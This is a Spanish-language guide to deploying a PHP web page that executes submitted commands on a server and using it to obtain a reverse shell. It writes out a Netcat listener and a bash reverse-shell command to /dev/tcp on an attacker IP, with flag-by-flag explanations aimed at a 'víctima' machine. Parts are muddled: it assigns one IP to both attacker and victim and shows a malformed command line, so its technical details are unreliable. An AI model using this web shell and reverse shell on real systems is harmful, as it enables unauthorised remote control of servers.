CONFIGURACIÓN DE UNA PÁGINA .php PARA HACER UN Reverse Shell

CONFIGURACIÓN Y USO DE LA PÁGINA WEB

1. **Descarga del código y colocación en el servidor:**

Descarga el código HTML y PHP proporcionado y guárdalo en un archivo con extensión .php, por ejemplo, pagina.php.
Sube el archivo pagina.php a un servidor web que tenga soporte para PHP.

2. **Acceso a la página web:**

Accede a la página web desde cualquier navegador web ingresando la URL donde está alojada la página, por ejemplo, http://tuservidor.com/pagina.php.

3. **Interfaz de la página web:**

La página web tendrá un formulario donde puedes ingresar un comando y enviarlo al servidor. También proporcionará un campo para ingresar una dirección IP.

4. **Ejecución de comandos:**

Después de ingresar una dirección IP y un comando válido en el formulario, la página web intentará ejecutar ese comando en el servidor.

5. **Visualización de resultados:**

Una vez que se haya ejecutado el comando, la página web mostrará el resultado en la misma página, ya sea una salida exitosa del comando o cualquier error que pueda haber ocurrido.

CÓDIGO PHP - EXPLICACIÓN DETALLADA:

Inicio del bloque PHP (<?php ?>):

Indica el inicio de un bloque de código PHP.

Procesamiento del formulario:

Cuando se envía el formulario (POST), el código PHP verifica si se ha enviado un comando ($_POST['command']).
Utiliza una expresión regular (preg_match) para buscar una dirección IP en el comando ingresado.
Si encuentra una dirección IP, ejecuta un comando de ping (ping -c 1 $ip) hacia esa IP para verificar su disponibilidad.
Si el ping es exitoso, extrae el comando después de la dirección IP y lo prepara para su ejecución. Si falla el ping, muestra un mensaje de error y detiene la ejecución.

Ejecución del comando en el servidor:

Después de verificar el comando, se construye un comando completo que incluye una conexión SSH al servidor (ssh) con el usuario www-data y se ejecuta el comando proporcionado.
Utiliza exec() para ejecutar el comando en el servidor y capturar su salida y código de retorno.

Manejo de resultados:

Si la ejecución del comando tiene éxito ($return_var === 0), muestra la salida del comando en un elemento <pre> con estilo.
Si la ejecución falla, muestra un mensaje de error junto con el código de retorno y la salida del comando.

COMANDO PROPORCIONADO:

El comando proporcionado al final del código PHP parece ser un ejemplo de cómo establecer una conexión de shell inversa desde la máquina víctima a la máquina atacante utilizando Netcat (nc). Aquí está el desglose del comando y lo que hace:

Máquina atacante: Debes ejecutar Netcat en modo de escucha (-l), en un puerto específico (-p) para esperar la conexión entrante.

```
$ nc -lvp 7777
```

nc: Abreviatura de Netcat, una utilidad de red para leer y escribir datos a través de conexiones de red utilizando el protocolo TCP o UDP.
-l: Modo de escucha, espera conexiones entrantes.
-v: Modo verbose, proporciona información detallada sobre la conexión.
-p 7777: Escucha en el puerto 7777.

Máquina víctima: El siguiente comando se ejecutaría en la máquina víctima. Establece una conexión de shell inversa a la máquina atacante utilizando Netcat.

```
$ 192.168.28.4 | /bin/bash -i >& /dev/tcp/192.168.28.4/7777 0>&1
```

192.168.28.4: La dirección IP de la máquina atacante.
/bin/bash -i: Ejecuta una instancia interactiva de Bash.
>& /dev/tcp/192.168.28.4/7777: Redirecciona la entrada y salida estándar al socket TCP de la máquina atacante en el puerto 7777.
0>&1: Redirecciona la salida estándar al socket TCP también.

DIRECCIONES IP Y PUERTOS:

Direcciones IP:

La dirección IP 192.168.28.4 es utilizada tanto por la máquina atacante como por la víctima.

Puertos:

En la máquina atacante, Netcat está configurado para escuchar en el puerto 7777. Este puerto se usa para recibir conexiones entrantes.
En la máquina víctima, el comando de Netcat establece una conexión saliente hacia el puerto 7777 de la máquina atacante.
Resumen:

Direcciones IP:

192.168.28.4: Utilizada por ambas máquinas, atacante y víctima.

Puertos:

7777: Utilizado por la máquina atacante para escuchar conexiones entrantes y por la máquina víctima para establecer una conexión saliente.

Este conjunto de configuraciones permite establecer una conexión de shell inversa desde la máquina víctima hacia la máquina atacante a través del puerto 7777, lo que posibilita la ejecución remota de comandos en la máquina víctima por parte del atacante.